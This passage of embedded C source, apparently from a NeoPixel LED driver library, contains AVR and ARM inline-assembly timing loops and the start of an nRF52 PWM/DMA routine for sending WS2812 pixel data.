bitTimeC\"          \"\\n\\t\"\r\n        \"out  %[port] , %[hi]\"    \"\\n\\t\"\r\n        \"rjmp .+0\"                \"\\n\\t\"\r\n        \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\"\r\n        \"out  %[port] , %[next]\"  \"\\n\\t\"\r\n        \"mov  %[next] , %[lo]\"    \"\\n\\t\"\r\n        \"sbrc %[byte] , 7\"        \"\\n\\t\"\r\n         \"mov %[next] , %[hi]\"    \"\\n\\t\"\r\n        \"nop\"                     \"\\n\\t\"\r\n        \"out  %[port] , %[lo]\"    \"\\n\\t\"\r\n        \"sbiw %[count], 1\"        \"\\n\\t\"\r\n        \"brne headF\"              \"\\n\\t\"\r\n         \"rjmp doneC\"             \"\\n\\t\"\r\n        \"bitTimeC:\"               \"\\n\\t\"\r\n         \"out  %[port], %[next]\"  \"\\n\\t\"\r\n         \"mov  %[next], %[lo]\"    \"\\n\\t\"\r\n         \"rol  %[byte]\"           \"\\n\\t\"\r\n         \"sbrc %[byte], 7\"        \"\\n\\t\"\r\n          \"mov %[next], %[hi]\"    \"\\n\\t\"\r\n         \"nop\"                    \"\\n\\t\"\r\n         \"out  %[port], %[lo]\"    \"\\n\\t\"\r\n         \"ret\"                    \"\\n\\t\"\r\n         \"doneC:\"                 \"\\n\"\r\n        : [byte] \"+r\" (b), [next] \"+r\" (next), [count] \"+w\" (i)\r\n        : [port] \"I\" (_SFR_IO_ADDR(PORTF)), [ptr] \"e\" (ptr), [hi] \"r\" (hi),\r\n          [lo] \"r\" (lo));\r\n\r\n #if defined(PORTD) || defined(PORTB) || defined(PORTC)\r\n    }\r\n #endif // defined(PORTD/B/C)\r\n#endif // defined(PORTF)\r\n\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz\r\n\r\n    // 30 instruction clocks per bit: HHHHHHxxxxxxxxxLLLLLLLLLLLLLLL\r\n    // ST instructions:               ^     ^        ^    (T=0,6,15)\r\n\r\n    volatile uint8_t next, bit;\r\n\r\n    hi   = *port |  pinMask;\r\n    lo   = *port & ~pinMask;\r\n    next = lo;\r\n    bit  = 8;\r\n\r\n    asm volatile(\r\n     \"head30:\"                  \"\\n\\t\" // Clk  Pseudocode    (T =  0)\r\n      \"st   %a[port], %[hi]\"    \"\\n\\t\" // 2    PORT = hi     (T =  2)\r\n      \"sbrc %[byte] , 7\"        \"\\n\\t\" // 1-2  if(b & 128)\r\n       \"mov  %[next], %[hi]\"    \"\\n\\t\" // 0-1   next = hi    (T =  4)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T =  6)\r\n      \"st   %a[port], %[next]\"  \"\\n\\t\" // 2    PORT = next   (T =  8)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 10)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 12)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 14)\r\n      \"nop\"                     \"\\n\\t\" // 1    nop           (T = 15)\r\n      \"st   %a[port], %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 17)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 19)\r\n      \"dec  %[bit]\"             \"\\n\\t\" // 1    bit--         (T = 20)\r\n      \"breq nextbyte30\"         \"\\n\\t\" // 1-2  if(bit == 0)\r\n      \"rol  %[byte]\"            \"\\n\\t\" // 1    b <<= 1       (T = 22)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 24)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 26)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 28)\r\n      \"rjmp head30\"             \"\\n\\t\" // 2    -> head30 (next bit out)\r\n     \"nextbyte30:\"              \"\\n\\t\" //                    (T = 22)\r\n      \"nop\"                     \"\\n\\t\" // 1    nop           (T = 23)\r\n      \"ldi  %[bit]  , 8\"        \"\\n\\t\" // 1    bit = 8       (T = 24)\r\n      \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++    (T = 26)\r\n      \"sbiw %[count], 1\"        \"\\n\\t\" // 2    i--           (T = 28)\r\n      \"brne head30\"             \"\\n\"   // 1-2  if(i != 0) -> (next byte)\r\n      : [port]  \"+e\" (port),\r\n        [byte]  \"+r\" (b),\r\n        [bit]   \"+r\" (bit),\r\n        [next]  \"+r\" (next),\r\n        [count] \"+w\" (i)\r\n      : [hi]     \"r\" (hi),\r\n        [lo]     \"r\" (lo),\r\n        [ptr]    \"e\" (ptr));\r\n  }\r\n#endif // NEO_KHZ400\r\n\r\n// 16 MHz(ish) AVR --------------------------------------------------------\r\n#elif (F_CPU >= 15400000UL) && (F_CPU <= 19000000L)\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n\r\n    // WS2811 and WS2812 have different hi/lo duty cycles; this is\r\n    // similar but NOT an exact copy of the prior 400-on-8 code.\r\n\r\n    // 20 inst. clocks per bit: HHHHHxxxxxxxxLLLLLLL\r\n    // ST instructions:         ^   ^        ^       (T=0,5,13)\r\n\r\n    volatile uint8_t next, bit;\r\n\r\n    hi   = *port |  pinMask;\r\n    lo   = *port & ~pinMask;\r\n    next = lo;\r\n    bit  = 8;\r\n\r\n    asm volatile(\r\n     \"head20:\"                   \"\\n\\t\" // Clk  Pseudocode    (T =  0)\r\n      \"st   %a[port],  %[hi]\"    \"\\n\\t\" // 2    PORT = hi     (T =  2)\r\n      \"sbrc %[byte],  7\"         \"\\n\\t\" // 1-2  if(b & 128)\r\n       \"mov  %[next], %[hi]\"     \"\\n\\t\" // 0-1   next = hi    (T =  4)\r\n      \"dec  %[bit]\"              \"\\n\\t\" // 1    bit--         (T =  5)\r\n      \"st   %a[port],  %[next]\"  \"\\n\\t\" // 2    PORT = next   (T =  7)\r\n      \"mov  %[next] ,  %[lo]\"    \"\\n\\t\" // 1    next = lo     (T =  8)\r\n      \"breq nextbyte20\"          \"\\n\\t\" // 1-2  if(bit == 0) (from dec above)\r\n      \"rol  %[byte]\"             \"\\n\\t\" // 1    b <<= 1       (T = 10)\r\n      \"rjmp .+0\"                 \"\\n\\t\" // 2    nop nop       (T = 12)\r\n      \"nop\"                      \"\\n\\t\" // 1    nop           (T = 13)\r\n      \"st   %a[port],  %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 15)\r\n      \"nop\"                      \"\\n\\t\" // 1    nop           (T = 16)\r\n      \"rjmp .+0\"                 \"\\n\\t\" // 2    nop nop       (T = 18)\r\n      \"rjmp head20\"              \"\\n\\t\" // 2    -> head20 (next bit out)\r\n     \"nextbyte20:\"               \"\\n\\t\" //                    (T = 10)\r\n      \"ldi  %[bit]  ,  8\"        \"\\n\\t\" // 1    bit = 8       (T = 11)\r\n      \"ld   %[byte] ,  %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++    (T = 13)\r\n      \"st   %a[port], %[lo]\"     \"\\n\\t\" // 2    PORT = lo     (T = 15)\r\n      \"nop\"                      \"\\n\\t\" // 1    nop           (T = 16)\r\n      \"sbiw %[count], 1\"         \"\\n\\t\" // 2    i--           (T = 18)\r\n       \"brne head20\"             \"\\n\"   // 2    if(i != 0) -> (next byte)\r\n      : [port]  \"+e\" (port),\r\n        [byte]  \"+r\" (b),\r\n        [bit]   \"+r\" (bit),\r\n        [next]  \"+r\" (next),\r\n        [count] \"+w\" (i)\r\n      : [ptr]    \"e\" (ptr),\r\n        [hi]     \"r\" (hi),\r\n        [lo]     \"r\" (lo));\r\n\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 KHz\r\n\r\n    // The 400 KHz clock on 16 MHz MCU is the most 'relaxed' version.\r\n\r\n    // 40 inst. clocks per bit: HHHHHHHHxxxxxxxxxxxxLLLLLLLLLLLLLLLLLLLL\r\n    // ST instructions:         ^       ^           ^         (T=0,8,20)\r\n\r\n    volatile uint8_t next, bit;\r\n\r\n    hi   = *port |  pinMask;\r\n    lo   = *port & ~pinMask;\r\n    next = lo;\r\n    bit  = 8;\r\n\r\n    asm volatile(\r\n     \"head40:\"                  \"\\n\\t\" // Clk  Pseudocode    (T =  0)\r\n      \"st   %a[port], %[hi]\"    \"\\n\\t\" // 2    PORT = hi     (T =  2)\r\n      \"sbrc %[byte] , 7\"        \"\\n\\t\" // 1-2  if(b & 128)\r\n       \"mov  %[next] , %[hi]\"   \"\\n\\t\" // 0-1   next = hi    (T =  4)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T =  6)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T =  8)\r\n      \"st   %a[port], %[next]\"  \"\\n\\t\" // 2    PORT = next   (T = 10)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 12)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 14)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 16)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 18)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 20)\r\n      \"st   %a[port], %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 22)\r\n      \"nop\"                     \"\\n\\t\" // 1    nop           (T = 23)\r\n      \"mov  %[next] , %[lo]\"    \"\\n\\t\" // 1    next = lo     (T = 24)\r\n      \"dec  %[bit]\"             \"\\n\\t\" // 1    bit--         (T = 25)\r\n      \"breq nextbyte40\"         \"\\n\\t\" // 1-2  if(bit == 0)\r\n      \"rol  %[byte]\"            \"\\n\\t\" // 1    b <<= 1       (T = 27)\r\n      \"nop\"                     \"\\n\\t\" // 1    nop           (T = 28)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 30)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 32)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 34)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 36)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 38)\r\n      \"rjmp head40\"             \"\\n\\t\" // 2    -> head40 (next bit out)\r\n     \"nextbyte40:\"              \"\\n\\t\" //                    (T = 27)\r\n      \"ldi  %[bit]  , 8\"        \"\\n\\t\" // 1    bit = 8       (T = 28)\r\n      \"ld   %[byte] , %a[ptr]+\" \"\\n\\t\" // 2    b = *ptr++    (T = 30)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 32)\r\n      \"st   %a[port], %[lo]\"    \"\\n\\t\" // 2    PORT = lo     (T = 34)\r\n      \"rjmp .+0\"                \"\\n\\t\" // 2    nop nop       (T = 36)\r\n      \"sbiw %[count], 1\"        \"\\n\\t\" // 2    i--           (T = 38)\r\n      \"brne head40\"             \"\\n\"   // 1-2  if(i != 0) -> (next byte)\r\n      : [port]  \"+e\" (port),\r\n        [byte]  \"+r\" (b),\r\n        [bit]   \"+r\" (bit),\r\n        [next]  \"+r\" (next),\r\n        [count] \"+w\" (i)\r\n      : [ptr]    \"e\" (ptr),\r\n        [hi]     \"r\" (hi),\r\n        [lo]     \"r\" (lo));\r\n  }\r\n#endif // NEO_KHZ400\r\n\r\n#else\r\n #error \"CPU SPEED NOT SUPPORTED\"\r\n#endif // end F_CPU ifdefs on __AVR__\r\n\r\n// END AVR ----------------------------------------------------------------\r\n\r\n\r\n#elif defined(__arm__)\r\n\r\n// ARM MCUs -- Teensy 3.0, 3.1, LC, Arduino Due ---------------------------\r\n\r\n#if defined(TEENSYDUINO) && defined(KINETISK) // Teensy 3.0, 3.1, 3.2, 3.5, 3.6\r\n#define CYCLES_800_T0H  (F_CPU / 4000000)\r\n#define CYCLES_800_T1H  (F_CPU / 1250000)\r\n#define CYCLES_800      (F_CPU /  800000)\r\n#define CYCLES_400_T0H  (F_CPU / 2000000)\r\n#define CYCLES_400_T1H  (F_CPU /  833333)\r\n#define CYCLES_400      (F_CPU /  400000)\r\n\r\n  uint8_t          *p   = pixels,\r\n                   *end = p + numBytes, pix, mask;\r\n  volatile uint8_t *set = portSetRegister(pin),\r\n                   *clr = portClearRegister(pin);\r\n  uint32_t          cyc;\r\n\r\n  ARM_DEMCR    |= ARM_DEMCR_TRCENA;\r\n  ARM_DWT_CTRL |= ARM_DWT_CTRL_CYCCNTENA;\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    cyc = ARM_DWT_CYCCNT + CYCLES_800;\r\n    while(p < end) {\r\n      pix = *p++;\r\n      for(mask = 0x80; mask; mask >>= 1) {\r\n        while(ARM_DWT_CYCCNT - cyc < CYCLES_800);\r\n        cyc  = ARM_DWT_CYCCNT;\r\n        *set = 1;\r\n        if(pix & mask) {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_800_T1H);\r\n        } else {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_800_T0H);\r\n        }\r\n        *clr = 1;\r\n      }\r\n    }\r\n    while(ARM_DWT_CYCCNT - cyc < CYCLES_800);\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 kHz bitstream\r\n    cyc = ARM_DWT_CYCCNT + CYCLES_400;\r\n    while(p < end) {\r\n      pix = *p++;\r\n      for(mask = 0x80; mask; mask >>= 1) {\r\n        while(ARM_DWT_CYCCNT - cyc < CYCLES_400);\r\n        cyc  = ARM_DWT_CYCCNT;\r\n        *set = 1;\r\n        if(pix & mask) {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_400_T1H);\r\n        } else {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_400_T0H);\r\n        }\r\n        *clr = 1;\r\n      }\r\n    }\r\n    while(ARM_DWT_CYCCNT - cyc < CYCLES_400);\r\n  }\r\n#endif // NEO_KHZ400\r\n\r\n#elif defined(TEENSYDUINO) && (defined(__IMXRT1052__) || defined(__IMXRT1062__))\r\n#define CYCLES_800_T0H  (F_CPU_ACTUAL / 4000000)\r\n#define CYCLES_800_T1H  (F_CPU_ACTUAL / 1250000)\r\n#define CYCLES_800      (F_CPU_ACTUAL /  800000)\r\n#define CYCLES_400_T0H  (F_CPU_ACTUAL / 2000000)\r\n#define CYCLES_400_T1H  (F_CPU_ACTUAL /  833333)\r\n#define CYCLES_400      (F_CPU_ACTUAL /  400000)\r\n\r\n  uint8_t           *p   = pixels,\r\n                    *end = p + numBytes, pix, mask;\r\n  volatile uint32_t *set = portSetRegister(pin),\r\n                    *clr = portClearRegister(pin);\r\n  uint32_t          cyc,\r\n                    msk = digitalPinToBitMask(pin);\r\n\r\n  ARM_DEMCR    |= ARM_DEMCR_TRCENA;\r\n  ARM_DWT_CTRL |= ARM_DWT_CTRL_CYCCNTENA;\r\n\r\n#if defined(NEO_KHZ400) // 800 KHz check needed only if 400 KHz support enabled\r\n  if(is800KHz) {\r\n#endif\r\n    cyc = ARM_DWT_CYCCNT + CYCLES_800;\r\n    while(p < end) {\r\n      pix = *p++;\r\n      for(mask = 0x80; mask; mask >>= 1) {\r\n        while(ARM_DWT_CYCCNT - cyc < CYCLES_800);\r\n        cyc  = ARM_DWT_CYCCNT;\r\n        *set = msk;\r\n        if(pix & mask) {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_800_T1H);\r\n        } else {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_800_T0H);\r\n        }\r\n        *clr = msk;\r\n      }\r\n    }\r\n    while(ARM_DWT_CYCCNT - cyc < CYCLES_800);\r\n#if defined(NEO_KHZ400)\r\n  } else { // 400 kHz bitstream\r\n    cyc = ARM_DWT_CYCCNT + CYCLES_400;\r\n    while(p < end) {\r\n      pix = *p++;\r\n      for(mask = 0x80; mask; mask >>= 1) {\r\n        while(ARM_DWT_CYCCNT - cyc < CYCLES_400);\r\n        cyc  = ARM_DWT_CYCCNT;\r\n        *set = msk;\r\n        if(pix & mask) {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_400_T1H);\r\n        } else {\r\n          while(ARM_DWT_CYCCNT - cyc < CYCLES_400_T0H);\r\n        }\r\n        *clr = msk;\r\n      }\r\n    }\r\n    while(ARM_DWT_CYCCNT - cyc < CYCLES_400);\r\n  }\r\n#endif // NEO_KHZ400\r\n\r\n#elif defined(TEENSYDUINO) && defined(__MKL26Z64__) // Teensy-LC\r\n\r\n#if F_CPU == 48000000\r\n  uint8_t          *p   = pixels,\r\n                    pix, count, dly,\r\n                    bitmask = digitalPinToBitMask(pin);\r\n  volatile uint8_t *reg = portSetRegister(pin);\r\n  uint32_t          num = numBytes;\r\n  asm volatile(\r\n    \"L%=_begin:\"                      \"\\n\\t\"\r\n     \"ldrb  %[pix], [%[p], #0]\"       \"\\n\\t\"\r\n     \"lsl   %[pix], #24\"              \"\\n\\t\"\r\n     \"movs  %[count], #7\"             \"\\n\\t\"\r\n    \"L%=_loop:\"                       \"\\n\\t\"\r\n     \"lsl   %[pix], #1\"               \"\\n\\t\"\r\n     \"bcs   L%=_loop_one\"             \"\\n\\t\"\r\n     \"L%=_loop_zero:\"                 \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #0]\" \"\\n\\t\"\r\n     \"movs  %[dly], #4\"               \"\\n\\t\"\r\n    \"L%=_loop_delay_T0H:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_loop_delay_T0H\"       \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #4]\" \"\\n\\t\"\r\n     \"movs  %[dly], #13\"              \"\\n\\t\"\r\n    \"L%=_loop_delay_T0L:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_loop_delay_T0L\"       \"\\n\\t\"\r\n     \"b     L%=_next\"                 \"\\n\\t\"\r\n    \"L%=_loop_one:\"                   \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #0]\" \"\\n\\t\"\r\n     \"movs  %[dly], #13\"              \"\\n\\t\"\r\n    \"L%=_loop_delay_T1H:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_loop_delay_T1H\"       \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #4]\" \"\\n\\t\"\r\n     \"movs  %[dly], #4\"               \"\\n\\t\"\r\n    \"L%=_loop_delay_T1L:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_loop_delay_T1L\"       \"\\n\\t\"\r\n     \"nop\"                            \"\\n\\t\"\r\n    \"L%=_next:\"                       \"\\n\\t\"\r\n     \"sub   %[count], #1\"             \"\\n\\t\"\r\n     \"bne   L%=_loop\"                 \"\\n\\t\"\r\n     \"lsl   %[pix], #1\"               \"\\n\\t\"\r\n     \"bcs   L%=_last_one\"             \"\\n\\t\"\r\n    \"L%=_last_zero:\"                  \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #0]\" \"\\n\\t\"\r\n     \"movs  %[dly], #4\"               \"\\n\\t\"\r\n    \"L%=_last_delay_T0H:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_last_delay_T0H\"       \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #4]\" \"\\n\\t\"\r\n     \"movs  %[dly], #10\"              \"\\n\\t\"\r\n    \"L%=_last_delay_T0L:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_last_delay_T0L\"       \"\\n\\t\"\r\n     \"b     L%=_repeat\"               \"\\n\\t\"\r\n    \"L%=_last_one:\"                   \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #0]\" \"\\n\\t\"\r\n     \"movs  %[dly], #13\"              \"\\n\\t\"\r\n    \"L%=_last_delay_T1H:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_last_delay_T1H\"       \"\\n\\t\"\r\n     \"strb  %[bitmask], [%[reg], #4]\" \"\\n\\t\"\r\n     \"movs  %[dly], #1\"               \"\\n\\t\"\r\n    \"L%=_last_delay_T1L:\"             \"\\n\\t\"\r\n     \"sub   %[dly], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_last_delay_T1L\"       \"\\n\\t\"\r\n     \"nop\"                            \"\\n\\t\"\r\n    \"L%=_repeat:\"                     \"\\n\\t\"\r\n     \"add   %[p], #1\"                 \"\\n\\t\"\r\n     \"sub   %[num], #1\"               \"\\n\\t\"\r\n     \"bne   L%=_begin\"                \"\\n\\t\"\r\n    \"L%=_done:\"                       \"\\n\\t\"\r\n    : [p]       \"+r\"  (p),\r\n      [pix]     \"=&r\" (pix),\r\n      [count]   \"=&r\" (count),\r\n      [dly]     \"=&r\" (dly),\r\n      [num]     \"+r\"  (num)\r\n    : [bitmask] \"r\"   (bitmask),\r\n      [reg]     \"r\"   (reg)\r\n  );\r\n#else\r\n#error \"Sorry, only 48 MHz is supported, please set Tools > CPU Speed to 48 MHz\"\r\n#endif // F_CPU == 48000000\r\n\r\n// Begin of support for nRF52 based boards  -------------------------\r\n\r\n#elif defined(NRF52) || defined(NRF52_SERIES)\r\n// [[[Begin of the Neopixel NRF52 EasyDMA implementation\r\n//                                    by the Hackerspace San Salvador]]]\r\n// This technique uses the PWM peripheral on the NRF52. The PWM uses the\r\n// EasyDMA feature included on the chip. This technique loads the duty\r\n// cycle configuration for each cycle when the PWM is enabled. For this\r\n// to work we need to store a 16 bit configuration for each bit of the\r\n// RGB(W) values in the pixel buffer.\r\n// Comparator values for the PWM were hand picked and are guaranteed to\r\n// be 100% organic to preserve freshness and high accuracy. Current\r\n// parameters are:\r\n//   * PWM Clock: 16Mhz\r\n//   * Minimum step time: 62.5ns\r\n//   * Time for zero in high (T0H): 0.31ms\r\n//   * Time for one in high (T1H): 0.75ms\r\n//   * Cycle time:  1.25us\r\n//   * Frequency: 800Khz\r\n// For 400Khz we just double the calculated times.\r\n// ---------- BEGIN Constants for the EasyDMA implementation -----------\r\n// The PWM starts the duty cycle in LOW. To start with HIGH we\r\n// need to set the 15th bit on each register.\r\n\r\n// WS2812 (rev A) timing is 0.35 and 0.7us\r\n//#define MAGIC_T0H               5UL | (0x8000) // 0.3125us\r\n//#define MAGIC_T1H              12UL | (0x8000) // 0.75us\r\n\r\n// WS2812B (rev B) timing is 0.4 and 0.8 us\r\n#define MAGIC_T0H               6UL | (0x8000) // 0.375us\r\n#define MAGIC_T1H              13UL | (0x8000) // 0.8125us\r\n\r\n// WS2811 (400 khz) timing is 0.5 and 1.2\r\n#define MAGIC_T0H_400KHz        8UL  | (0x8000) // 0.5us\r\n#define MAGIC_T1H_400KHz        19UL | (0x8000) // 1.1875us\r\n\r\n// For 400Khz, we double value of CTOPVAL\r\n#define CTOPVAL                20UL            // 1.25us\r\n#define CTOPVAL_400KHz         40UL            // 2.5us\r\n\r\n// ---------- END Constants for the EasyDMA implementation -------------\r\n//\r\n// If there is no device available an alternative cycle-counter\r\n// implementation is tried.\r\n// The nRF52 runs with a fixed clock of 64Mhz. The alternative\r\n// implementation is the same as the one used for the Teensy 3.0/1/2 but\r\n// with the Nordic SDK HAL & registers syntax.\r\n// The number of cycles was hand picked and is guaranteed to be 100%\r\n// organic to preserve freshness and high accuracy.\r\n// ---------- BEGIN Constants for cycle counter implementation ---------\r\n#define CYCLES_800_T0H  18  // ~0.36 uS\r\n#define CYCLES_800_T1H  41  // ~0.76 uS\r\n#define CYCLES_800      71  // ~1.25 uS\r\n\r\n#define CYCLES_400_T0H  26  // ~0.50 uS\r\n#define CYCLES_400_T1H  70  // ~1.26 uS\r\n#define CYCLES_400      156 // ~2.50 uS\r\n// ---------- END of Constants for cycle counter implementation --------\r\n\r\n  // To support both the SoftDevice + Neopixels we use the EasyDMA\r\n  // feature from the NRF25. However this technique implies to\r\n  // generate a pattern and store it on the memory. The actual\r\n  // memory used in bytes corresponds to the following formula:\r\n  //              totalMem = numBytes*8*2+(2*2)\r\n  // The two additional bytes at the end are needed to reset the\r\n  // sequence.\r\n  //\r\n  // If there is not enough memory, we will fall back to cycle counter\r\n  // using DWT\r\n  uint32_t  pattern_size   = numBytes*8*sizeof(uint16_t)+2*sizeof(uint16_t);\r\n  uint16_t* pixels_pattern = NULL;\r\n\r\n  NRF_PWM_Type* pwm = NULL;\r\n\r\n  // Try to find a free PWM device, which is not enabled\r\n  // and has no connected pins\r\n  NRF_PWM_Type* PWM[] = {\r\n    NRF_PWM0, NRF_PWM1, NRF_PWM2\r\n#if defined(NRF_PWM3)\r\n    ,NRF_PWM3\r\n#endif\r\n  };\r\n\r\n  for(unsigned int device = 0; device < (sizeof(PWM)/sizeof(PWM[0])); device++) {\r\n    if( (PWM[device]->ENABLE == 0)                            &&\r\n        (PWM[device]->PSEL.OUT[0] & PWM_PSEL_OUT_CONNECT_Msk) &&\r\n        (PWM[device]->PSEL.OUT[1] & PWM_PSEL_OUT_CONNECT_Msk) &&\r\n        (PWM[device]->PSEL.OUT[2] & PWM_PSEL_OUT_CONNECT_Msk) &&\r\n        (PWM[device]->PSEL.OUT[3] & PWM_PSEL_OUT_CONNECT_Msk)\r\n    ) {\r\n      pwm = PWM[device];\r\n      break;\r\n    }\r\n  }\r\n\r\n  // only malloc if there is PWM device available\r\n  if ( pwm != NULL ) {\r\n    #if defined(ARDUINO_NRF52_ADAFRUIT) // use thread-safe malloc\r\n      pixels_pattern = (uint16_t *) rtos_malloc(pattern_size);\r\n    #else\r\n      pixels_pattern = (uint16_t *) malloc(pattern_size);\r\n    #endif\r\n  }\r\n\r\n  // Use the identified device to choose the implementation\r\n  // If a PWM device is available use DMA\r\n  if( (pixels_pattern != NULL) && (pwm != NULL) ) {\r\n    uint16_t pos = 0; // bit position\r\n\r\n    for(uint16_t n=0; n<numBytes; n++) {\r\n      uint8_t pix = pixels[n];\r\n\r\n      for(uint8_t mask=0x80; mask>0; mask >>= 1) {\r\n        #if defined(NEO_KHZ400)\r\n        if( !is800KHz ) {\r\n          pixels_pattern[pos] = (pix & mask) ? MAGIC_T1H_400KHz : MAGIC_T0H_400KHz;\r\n        }else\r\n        #endif\r\n        {\r\n          pixels_pattern[pos] = (pix & mask) ? MAGIC_T1H : MAGIC_T0H;\r\n        }\r\n\r\n        pos++;\r\n      }\r\n    }\r\n\r\n    // Zero padding to indicate the end of que sequence\r\n    pixels_pattern[pos++] = 0 | (0x8000); // Seq end\r\n    pixels_pattern[pos++] = 0 | (0x8000); // Seq end\r\n\r\n    // Set the wave mode to count UP\r\n    pwm->MODE = (PWM_MODE_UPDOWN_Up << PWM_MODE_UPDOWN_Pos);\r\n\r\n    // Set the PWM to use the 16MHz clock\r\n    pwm->PRESCALER = (PWM_PRESCALER_PRESCALER_DIV_1 << PWM_PRESCALER_PRESCALER_Pos);\r\n\r\n    // Setting of the maximum count\r\n    // but keeping it on 16Mhz allows for more granularity just\r\n    // in case someone wants to do more fine-tuning of the timing.\r\n#if defined(NEO_KHZ400)\r\n    if( !is800KHz ) {\r\n      pwm->COUNTERTOP = (CTOPVAL_400KHz << PWM_COUNTERTOP_COUNTERTOP_Pos);\r\n    }else\r\n#endif\r\n    {\r\n      pwm->COUNTERTOP = (CTOPVAL << PWM_COUNTERTOP_COUNTERTOP_Pos);\r\n    }\r\n\r\n    // Disable loops, we want the sequence to repeat only once\r\n    pwm->LOOP = (PWM_LOOP_CNT_Disabled << PWM_LOOP_CNT_Pos);\r\n\r\n    // On the \"Common\" setting the PWM uses the same pattern for the\r\n    // for supported sequences. The pattern is stored on half-word\r\n    // of 16bits\r\n    pwm->DECODER = (PWM_DECODER_LOAD_Common << PWM_DECODER_LOAD_Pos) |\r\n                   (PWM_DECODER_MODE_RefreshCount << PWM_DECODER_MODE_Pos);\r\n\r\n    // Pointer to the memory storing the patter\r\n    pwm->SEQ[0].PTR = (uint32_t)(pixels_pattern) << PWM_SEQ_PTR_PTR_Pos;\r\n\r\n    // Calculation of the number of steps loaded from memory.\r\n    pwm->SEQ[0].CNT = (pattern_size/sizeof(uint16_t)) << PWM_SEQ_CNT_CNT_Pos;\r\n\r\n    // The following settings are ignored with the current config.\r\n    pwm->SEQ[0].REFRESH  = 0;\r\n    pwm->SEQ[0].ENDDELAY = 0;\r\n\r\n    // The Neopixel implementation is a blocking algorithm. DMA\r\n    // allows for non-blocking operation. To \"simulate\" a blocking\r\n    // operation we enable the interruption for the end of sequence\r\n    // and block the execution thread until the event flag is set by\r\n    // the peripheral.\r\n//    pwm->INTEN |= (PWM_INTEN_SEQEND0_Enabled<<PWM_INTEN_SEQEND0_Pos);\r\n\r\n    // PSEL must be configured before enabling PWM\r\n    #if defined(ARDUINO_ARCH_NRF52840)\r\n    pwm->PSEL.OUT[0] = g_APinDescription[pin].name;\r\n    #else\r\n    pwm->PSEL.OUT[0] = g_ADigitalPinMap[pin];\r\n    #endif\r\n\r\n    // Enable the PWM\r\n    pwm->ENABLE = 1;\r\n\r\n    // After all of this and many hours of reading the documentation\r\n    // we are ready to start the sequence...\r\n    pwm->EVENTS_SEQEND[0]  = 0;\r\n    pwm->TASKS_SEQSTART[0] = 1;\r\n\r\n    // But we have to wait for the flag to be set.\r\n    while(!pwm->EVENTS_SEQEND[0])\r\n    {\r\n      #if defined(ARDUINO_NRF52_ADAFRUIT) || defined(ARDUINO_ARCH_NRF52840)\r\n      yield();\r\n      #endif\r\n    }\r\n\r\n    // Before leave we clear the flag for the event.\r\n    